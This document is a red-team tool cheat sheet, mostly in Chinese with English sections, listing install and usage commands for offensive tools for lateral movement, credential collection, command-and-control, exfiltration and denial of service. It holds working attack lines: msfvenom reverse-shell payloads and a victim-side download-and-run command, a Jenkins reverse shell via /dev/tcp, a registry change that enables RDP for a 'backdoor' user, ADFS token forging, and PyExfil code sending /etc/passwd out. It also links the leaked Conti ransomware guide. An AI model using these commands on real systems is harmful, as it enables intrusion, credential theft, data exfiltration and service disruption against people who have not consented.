记录发布的原始博客文章

安装:(PowerShell)

git clone https://github.com/FortyNorthSecurity/WMIOps
Import-Module WMIOps.ps1

用法:

# Executes a user specified command on the target machine
Invoke-ExecCommandWMI

# Returns all running processes from the target machine
Get-RunningProcessesWMI

# Checks if a user is active at the desktop on the target machine (or if away from their machine)
Find-ActiveUsersWMI

# Lists all local and network connected drives on target system
Get-SystemDrivesWMI

# Executes a powershell script in memory on the target host via WMI and returns the output
Invoke-RemoteScriptWithOutput

图像

图像

https://pentestlab.blog/2017/11/20/command-and-control-wmi/ 中使用的图像

🔙PowerLessShell

使用 MSBuild .exe远程执行 PowerShell 脚本和命令而不生成 powershell.exe 的工具。

安装:

git clone https://github.com/Mr-Un1k0d3r/PowerLessShell
cd PowerLessShell

用法:

# Help
python PowerLessShell.py -h

# Generate PowerShell payload 
python PowerLessShell.py -type powershell -source script.ps1 -output malicious.csproj

# Generating a shellcode payload
python PowerLessShell.py -source shellcode.raw -output malicious.csproj

完整的使用信息可以在这里找到。

图像

图片来自 https://bank-security.medium.com/how-to-running-powershell-commands-without-powershell-exe-a6a19595f628

🔙PsExec

PsExec是Sysinternals工具套件的一部分,Sysinternals工具套件是用于管理和排除Windows系统故障的实用程序集合。

它非常适合在目标计算机上远程执行命令。

注意:某些 AV 将 PsExec 检测为“远程管理员”病毒。

安装:(PowerShell)

Invoke-WebRequest -Uri 'https://download.sysinternals.com/files/PSTools.zip' -OutFile 'pstools.zip'
Expand-Archive -Path 'pstools.zip' -DestinationPath "$env:TEMP\pstools"
Move-Item -Path "$env:TEMP\pstools\psexec.exe" .
Remove-Item -Path "$env:TEMP\pstools" -Recurse

用法:

# Prevent the license agreement from being displayed
psexec.exe /accepteula

# Run the 'hostname' command on remote machine
psexec.exe \\REMOTECOMPUTER hostname

# Run the 'hostname' command on EVERYTHING (on the domain)
psexec.exe \\* hostname

# Run a local executable on a remote machine
psexec.exe \\REMOTECOMPUTER -c C:\Tools\program.exe

# Run the 'hostname' command with different credentials
psexec.exe \\REMOTECOMPUTER hostname -u localadmin -p secret-p@$$word

# Spawn shell on remote machine
psexec.exe -s \\REMOTECOMPUTER cmd

关于 PsExec 用法的精彩博客文章

图像

https://adamtheautomator.com/psexec/ 中使用的图像

🔙液体蛇

液体蛇是一个程序,旨在在不接触磁盘的情况下对Windows系统执行横向移动。

该工具依赖于 WMI 事件订阅,以便在内存中执行 .NET 程序集,.NET 程序集将侦听命名管道上的外壳代码,然后使用线程劫持外壳代码注入的变体执行它。

该项目由两个单独的解决方案组成:

  • CSharpNamedPipeLoader
    - 将通过 GadgetToJScript 在 VBS 中转换的组件
  • LiquidSnake
    - 负责在远程系统上创建 WMI 事件订阅的组件

安装:

在Visual Studio中打开这两个解决方案并生成。确保面向 CSharpNamedPipeLoader 的 x64 体系结构。

输出:两个单独的 EXE:和

CSharpNamedPipeLoader.exe
LiquidSnake.exe

在此处找到完整的构建信息。

用法:

再次使用你具有管理访问权限的主机,如下所示:

LiquidSnake.exe

LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

如果一切正常,则应获得类似于以下内容的输出:

[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

在此处找到一般使用信息。

完整的使用信息可以在这里找到。

LiquidSnake

液体蛇

图片来自 https://github.com/RiccardoAncarani/LiquidSnake#usage

🔙启用 RDP

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" "backdoor" /add

🔙将外壳升级为计量器

贝壳 (https://infinitelogins.com/tag/payloads/)

在获得对端点的基本 shell 访问权限后,最好继续使用计量器。

[攻击者]生成一个仪表外壳:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf

图像

[受害者]下载到受害端点:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shell-name.exe','shell-name.exe')"`

[攻击者]配置侦听器:

use exploit/multi/handler 
set PAYLOAD windows/meterpreter/reverse_tcp 
set LHOST your-ip 
set LPORT listening-port run`

[受害者]执行有效负载:

Start-Process "shell-name.exe"`

图像

🔙转发端口

有时,在获得对终结点的访问权限后,会有本地端口。使这些内部端口可进行外部路由有助于横向移动到主机上的其他服务。

socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:EXTERNAL_PORT,fork TCP:127.0.0.1:INTERNAL_PORT &

🔙詹金斯反壳

如果你获得了对 jenkins 脚本控制台的访问权限,则可以使用它在节点上获得反向 shell。

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

🔙ADFSpoof

Created by Doug Bienstock @doughsec while at Mandiant FireEye.

ADFSpoof has two main functions:

  1. Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption key from Active Directory, produce a usable key/cert pair for token signing.
  2. Given a signing key, produce a signed security token that can be used to access a federated application.

This tool is meant to be used in conjunction with ADFSDump. ADFSDump runs on an AD FS server and outputs important information that you will need to use ADFSpoof.

Install:

Note: ADFSpoof requires the installation of a custom fork of the Python Cryptography package, available here.

git clone https://github.com/mandiant/ADFSpoof
pip install -r requirements.txt

Usage:

# Decrypt the EncryptedPFX and write to disk
python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump

# Generate a security token for Office365
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com o365 --upn robin@doughcorp.co --objectguid {1C1D4BA4-B513-XXX-XXX-3308B907D759

Full usage information can be found here.

Additional command examples can be found here.

图像

Image used from https://github.com/mandiant/ADFSpoof#usage

🔙Coercer

A python script to automatically coerce a Windows server to authenticate on an arbitrary machine through many methods.

Features:

  • Lists open SMB pipes on the remote machine (in modes scan authenticated and fuzz authenticated)
  • Tries to connect on a list of known SMB pipes on the remote machine (in modes scan unauthenticated and fuzz unauthenticated)
  • Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an arbitrary machine.
  • Random UNC paths generation to avoid caching failed attempts (all modes)
  • Configurable delay between attempts with --delay

More feature information here.

Install: (pip)

sudo python3 -m pip install coercer

Usage:

# Scan mode (Assess the Remote Procedure Calls listening on a machine)
./Coercer.py scan -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v

# Coerce mode (Exploit the Remote Procedure Calls on a remote machine to coerce an authentication to ntlmrelay or responder)
./Coercer.py coerce -l 192.168.1.2 -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v

# Fuzz mode (Fuzz Remote Procedure Calls listening on a machine)
./Coercer.py fuzz -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v

图像

Image used from https://github.com/p0dalirius/Coercer#quick-start

Collection

🔙BloodHound

An application used to visualize active directory environments. A quick way to visualise attack paths and understand victims' active directory properties.

Install: PenTestPartners Walkthrough

Custom Queries: CompassSecurity BloodHoundQueries

图像

🔙Snaffler

Snaffler is an advanced credential scanner/collector for Active Directory environments. With a great README.

Snaffler uses a system of "classifiers", each of which examine shares or folders or files or file contents, passing some items downstream to the next classifier, and discarding others. Each classifier uses a set of rules to decide what to do with the items it classifies.

More information about Snaffler rules.

'Broadly speaking - it gets a list of Windows computers from Active Directory, then spreads out its snaffly appendages to them all to figure out which ones have file shares, and whether you can read them.' - Snaffler README (2023)

Install:

You can download the binary from the GitHub Releases Page.

Usage:

# Targeted local scan (less likely to trigger detections)
Snaffler.exe -s -i C:\

# Go in loud and find everything
snaffler.exe -s -o snaffler.log

图像

Image used from https://github.com/SnaffCon/Snaffler#what-does-it-look-like

🔙linWinPwn

linWinPwn is a bash script that automates a number of Active Directory Enumeration and Vulnerability checks.

The script uses a number of tools and serves as wrapper of them. Tools include: impacket, bloodhound, crackmapexec, enum4linux-ng, ldapdomaindump, lsassy, smbmap, kerbrute, adidnsdump, certipy, silenthound, and others.

linWinPwn is particularly useful when you have access to an Active Directory environment for a limited time only, and you wish to automate the enumeration process and collect evidence efficiently.

Install:

git clone https://github.com/lefayjey/linWinPwn
cd linWinPwn; chmod +x linWinPwn.sh
chmod +x install.sh
./install.sh

Usage:

# Default: interactive - Open interactive menu to run checks separately
./linWinPwn.sh -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]

# Auto config - Run NTP sync with target DC and add entry to /etc/hosts before running the modules
./linWinPwn.sh -t <Domain_Controller_IP> --auto-config

# LDAPS - Use LDAPS instead of LDAP (port 636)
./linWinPwn.sh -t <Domain_Controller_IP> --ldaps

# Module pwd_dump: Password Dump
./linWinPwn.sh -t <Domain_Controller_IP> -M pwd_dump [-d <AD_domain> -u <AD_user> -p <AD_password_or_hash[LM:NT]_or_kerbticket[./krb5cc_ticket]> -o <output_dir>]

Full usage information here.

图像

Image used from https://github.com/lefayjey/linWinPwn#demos

Command and Control

🔙Havoc

Havoc is a modern and malleable post-exploitation command and control framework, created by @C5pider.

Features include: Sleep Obfuscation, x64 return address spoofing, Indirect Syscalls for Nt* APIs

Pre-requisites: (Ubuntu 20.04 / 22.04)

sudo apt install build-essential
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install python3.10 python3.10-dev

Build + Usage:

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc/Client
make 
./Havoc 

Pre-requisites: (Ubuntu 20.04 / 22.04)

cd Havoc/Teamserver
go mod download golang.org/x/sys  
go mod download github.com/ugorji/go

Build + Usage:

cd Teamserver
./Install.sh
make
./teamserver -h

Run the teamserver

sudo ./teamserver server --profile ./profiles/havoc.yaotl -v --debug

Full install, build and run instructions on the wiki

图像

🔙Covenant

Covenant is a .NET command and control framework, it has a web interface that allows for multi-user collaboration.

It can be used to remotely control compromised systems and perform a variety of different tasks, including executing arbitrary code, capturing keystrokes, exfiltrating data, and more.

Install: (Dotnet Core)

You can download dotnet core for your platform from here.

Note: After starting Covenant, you must register an initial user through the web interface. Navigating to the web interface will allow you to register the initial user

git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant

Usage: (Dotnet Core)

~/Covenant/Covenant > dotnet run
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser

Install: (Docker)

# Build the docker image:
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
~/Covenant/Covenant > docker build -t covenant .

Usage: (Docker)

# Run Covenant within the Docker container
~/Covenant/Covenant > docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v </absolute/path/to/Covenant/Covenant/Data>:/app/Data covenant

# Stop the container
~/Covenant/Covenant > docker stop covenant

# Restart Covenant interactively
~/Covenant/Covenant > docker start covenant -ai

Full installation and startup instructions can be found on the wiki here.

图像

Image from https://github.com/cobbr/Covenant

🔙Merlin

Merlin is an open-source post-exploitation framework that is designed to be used after a initial compromise of a system.

It is written in Python and can be used to perform a variety of different tasks, such as executing arbitrary code, moving laterally through a network, and exfiltrating data.

Install:

  1. Download the latest compiled version of Merlin Server from the releases section
  2. Extract the files with 7zip using the x function The password is: merlin
  3. Start Merlin
  4. Configure a listener
  5. Deploy an agent. See Agent Execution Quick Start Guide for examples
mkdir /opt/merlin;cd /opt/merlin
wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z
7z x merlinServer-Linux-x64.7z
sudo ./merlinServer-Linux-x64

Usage:

  1. Ensure the Merlin server is running with a configured listener
  2. Download and deploy an agent to the victim
  3. Execute agent

For detailed usage information see the official Merlin wiki.

图像

Image from https://www.foregenix.com/blog/a-first-look-at-todays-command-and-control-frameworks

🔙Metasploit Framework

Metasploit is an open-source framework for developing, testing, and using exploit code.

The Metasploit framework includes a large number of pre-built exploits and payloads, as well as a fully-featured integrated development environment (IDE) for creating and testing custom exploits.

Install: (Installer)

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
  chmod 755 msfinstall && \
  ./msfinstall

Usage:

/opt/metasploit-framework/bin/msfconsole

Full installation instructions can be found on the official wiki.

Rapid7 Metasploit blogs

Cheat sheet graphic

Nice command list

图像

Image used from https://goacademy.io/how-to-install-metasploit-on-kali-linux/

🔙Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) C2 and post-exploitation framework written in python and C.

It allows an attacker to remotely control a victim's computer and execute various actions, such as command execution, key logging, and taking screen shots.

Install: (Git)

sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyw

Roll fix to fix the error:

sudo pip2 install rpyc==3.4.4

Start:

export PATH=$PATH:~/.local/bin; pupysh
pupyws/bin/pupysh

Git install instructions used from here.

Install: (Docker)

For detailed docker and pupy installation instructions see the wiki.

Usage:

# Get help page for any builtin commands with -h
>> sessions -h
>> jobs -h
>> run -h

# Interact with session 1
>> sessions -i 1

# Run local command 'ls'
>> !ls

Full usage information can be found on the wiki.

The wiki contains good post exploitation information.

图像

Image used from https://github.com/n1nj4sec/pupy/wiki/Screenshots

🔙Brute Ratel

BruteRatel is a great command and control (C4) framework created by @NinjaParanoid. The framework consists of a client component 'badger' that is installed on the compromised system, and a server component 'commander' that is run by the red team.

The client and server communicate with each other using various communication channels, such as HTTP, DNS, or TCP, and can be configured to use different encoding and encryption methods to evade detection.

Some nice features:

  • DNS Over HTTPS
  • Indirect Syscalls
  • Built-in Debugger To Detect EDR Userland Hooks
  • MITRE graph integration
  • Adversary TTP automation

Install:

To legally get access to the framework you will need to buy a licence (1 Year $2500 per user). See the pricing page for more information.

After purchase you can download the framework from here with your Activation Key and License User ID.

Usage:

# Loads a powershell script to memory which can be Invoked using psreflect
psimport

# Locks keyboard and mouse hardware input. Use ‘unlock_input’ command to unlock
lock_input

# Dumps user clipboard
dumpclip

# Enumerates basic domain information
dcenum

# Elevates user privileges to SYSTEM (Requires admin rights)
get_system

# Takes a screenshot of current desktop and stores it on the server
screenshot

# Dumps LSASS to C:\Windows\Memory.DMP using the PssCaptureSnapshot technique
shadowclone

Full commander terminal usage information can be found here.

图像

Image used from https://bruteratel.com/

Exfiltration

🔙Dnscat2

A tool for establishing C2 connections via DNS, even if the attacker and victim machines are behind a firewall / network address translation (NAT).

The tool is designed to be stealthy and difficult to detect, as it uses legitimate DNS traffic to transmit data.

Install: (Compile - Server)

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
gem install bundler
bundle install

Install: (Compile - Client)

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make

Full installation information can be found in the Installation Section.

Usage: (Server)

# Establish the server
ruby ./dnscat2.rb DOMAIN.COM

Usage: (Client)

# Establish the client with authoritative domain
./dnscat2 DOMAIN.COM

# Establish the client without authoritative domain
./dnscat2 --dns host=0.0.0.0,port=0000

# Ping the server from the client
./dnscat --ping DOMAIN.COM

# Ping the server from the client, with custom dns resolver ip
./dnscat --dns server=0.0.0.0,domain=DOMAIN.COM --ping

Usage: (Tunnels)

# (After establishing the client) You can open a new tunnelled port
listen [lhost:]lport rhost:rport

# Forward ssh connections through the dnscat2 client to an internal device
listen 127.0.0.1:2222 10.10.10.10:22

Full usage information can be found in the Usage Section.

image

🔙Cloakify

When exfiltrating victim files, DLP (Data Loss Prevention) solutions will typically trigger on strings within these files. Cloakify reduces this risk by transforming the data.

Cloakify transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings. This lets you hide the file in plain sight, and transfer the file without triggering alerts.

Note: You can make your own ciphers, see here for more info.

Install:

git clone https://github.com/TryCatchHCF/Cloakify

Usage:

# Cloakify some text
python3 cloakify.py TEXT.txt ciphers/desserts.ciph > TEXT.cloaked

# De-Cloakify the text
python3 decloakify.py TEXT.cloaked ciphers/desserts.ciph

image

image

🔙PyExfil

"An Alpha-Alpha stage package, not yet tested (and will appreciate any feedbacks and commits) designed to show several techniques of data exfiltration is real-world scenarios."

Install:

git clone https://www.github.com/ytisf/PyExfil;cd PyExfil;pip install -r requirements.txt;pip install py2exe;pip setup.py install

Usage: (Full Usage here)

HTTP Cookies

from pyexfil.network.HTTP_Cookies.http_exfiltration import send_file, listen

# For Client (exfil)
send_file(addr='http://www.morirt.com', file_path=FILE_TO_EXFIL)

# For Server (collecting)
listen(local_addr='127.0.0.1', local_port=80)

ICMP Echo 8

from pyexfil.network.ICMP.icmp_exfiltration import send_file, init_listener

# For Client (exfil)
ip_addr = "127.0.0.1"
send_file(ip_addr, src_ip_addr="127.0.0.1", file_path="", max_packetsize=512, SLEEP=0.1)

# For Server (collecting)
init_listener(ip_addr, saving_location="/tmp/")

NTP Request

from pyexfil.network.NTP.ntp_exfil import exfiltrate, ntp_listen, NTP_UDP_PORT

# For Client (exfil)
ip_addr = "127.0.0.1"
exfiltrate("/etc/passwd", ip_addr, time_delay=0.1)

# For Server (collecting)
ntp_listener(ip="0.0.0.0", port=NTP_UDP_PORT)

image

🔙Powershell RAT

Python based backdoor that uses Gmail to exfiltrate data as an e-mail attachment. It tracks the user activity using screen capture and sends the information to an attacker as an e-mail attachment.

Install:

git clone https://github.com/Viralmaniar/Powershell-RAT

Usage: (Full Usage here)

Setup

  • Throwaway Gmail address
  • Enable "Allow less secure apps" by going to https://myaccount.google.com/lesssecureapps
  • Modify the
    $username
    &
    $password
    variables for your account in the Mail.ps1 Powershell file
  • Modify
    $msg.From
    &
    $msg.To.Add
    with throwaway gmail address

image

🔙GD-Thief

Tool for exfiltrating files from a target's Google Drive that you have access to, via Google's API.

This includes all shared files, all files from shared drives, and all files from domain drives that the target has access to.

Install:

git clone https://github.com/antman1p/GD-Thief.git
cd GD-Thief
pip install --upgrade google-api-python-client google-auth-httplib2 google-auth-oauthlib

then...

  1. Create a new Google Cloud Platform (GCP) project
  2. Enable a Google Workspace API
  3. Configure OAuth Consent screen
  4. Create a credential
  5. Add the victim's Google account to the Application's Test Users

For detailed setup instructions see the How To Guide.

Usage:

usage:
python3 gd_thief.py [-h] -m [{dlAll, dlDict[-d <DICTIONARY FILE PATH>]}
	[-t <THREAD COUNT>]

help:

This Module will connect to Google's API using an access token and exfiltrate files
from a target's Google Drive.  It will output exfiltrated files to the ./loot directory

arguments:
        -m [{dlAll, dlDict}],
                --mode [{dlAll, dlDict}]
                The mode of file download
                Can be "dlAll", "dlDict [-d <DICTIONARY FILE PATH>]", or... (More options to come)

optional arguments:
        -d <DICTIONARY FILE PATH>, --dict <DICTIONARY FILE PATH>
                        Path to the dictionary file. Mandatory with download mode"-m, --mode dlDict"
                        You can use the provided dictionary, per example: "-d ./dictionaries/secrets-keywords.txt"
        -t <THREAD COUNT>, --threads <THREAD COUNT>
                        Number of threads. (Too many could exceeed Google's rate limit threshold)

        -h, --help
                show this help message and exit

Nice blog post explaining the logic behind the tool.

Impact

🔙Conti Pentester Guide Leak

Conti is a ransomware group that is known for targeting large organizations and using sophisticated tactics to evade detection and maximize the impact of their attacks.

Conti has been responsible for a number of high-profile ransomware attacks, including ones against the computer systems of the City of Pensacola, Florida, and the computer systems of the Irish health service.

The Conti Pentester Guide Leak - Repository contains leaked pentesting materials given to Conti ransomware group affilates.

Topics include:

  • Configuring Rclone with MEGA for data exfiltration
  • Configuring AnyDesk as persistence and remote access into a victim’s network
  • Elevating and gaining admin rights inside a company’s hacked network
  • Taking over domain controllers
  • Dumping passwords from Active Directory

Note: vx-underground.org obtained more training materials and tools used by Conti ransomware operators here.

图像

Image used from https://github.com/ForbiddenProgrammer/conti-pentester-guide-leak

🔙SlowLoris

Slowloris is a type of denial-of-service (DoS) attack that involves sending HTTP requests to a web server in a way that ties up the server's resources, preventing it from being able to process legitimate requests.

This attack would typically be conducted with a botnet, it is designed to be difficult to detect and mitigate, as it uses a relatively small number of connections and does not generate a large amount of traffic.

Install: (Pip)

sudo pip3 install slowloris

Install: (Git)

git clone https://github.com/gkbrk/slowloris.git
cd slowloris

Usage:

# Pip
slowloris example.com

# Git
python3 slowloris.py example.com

图像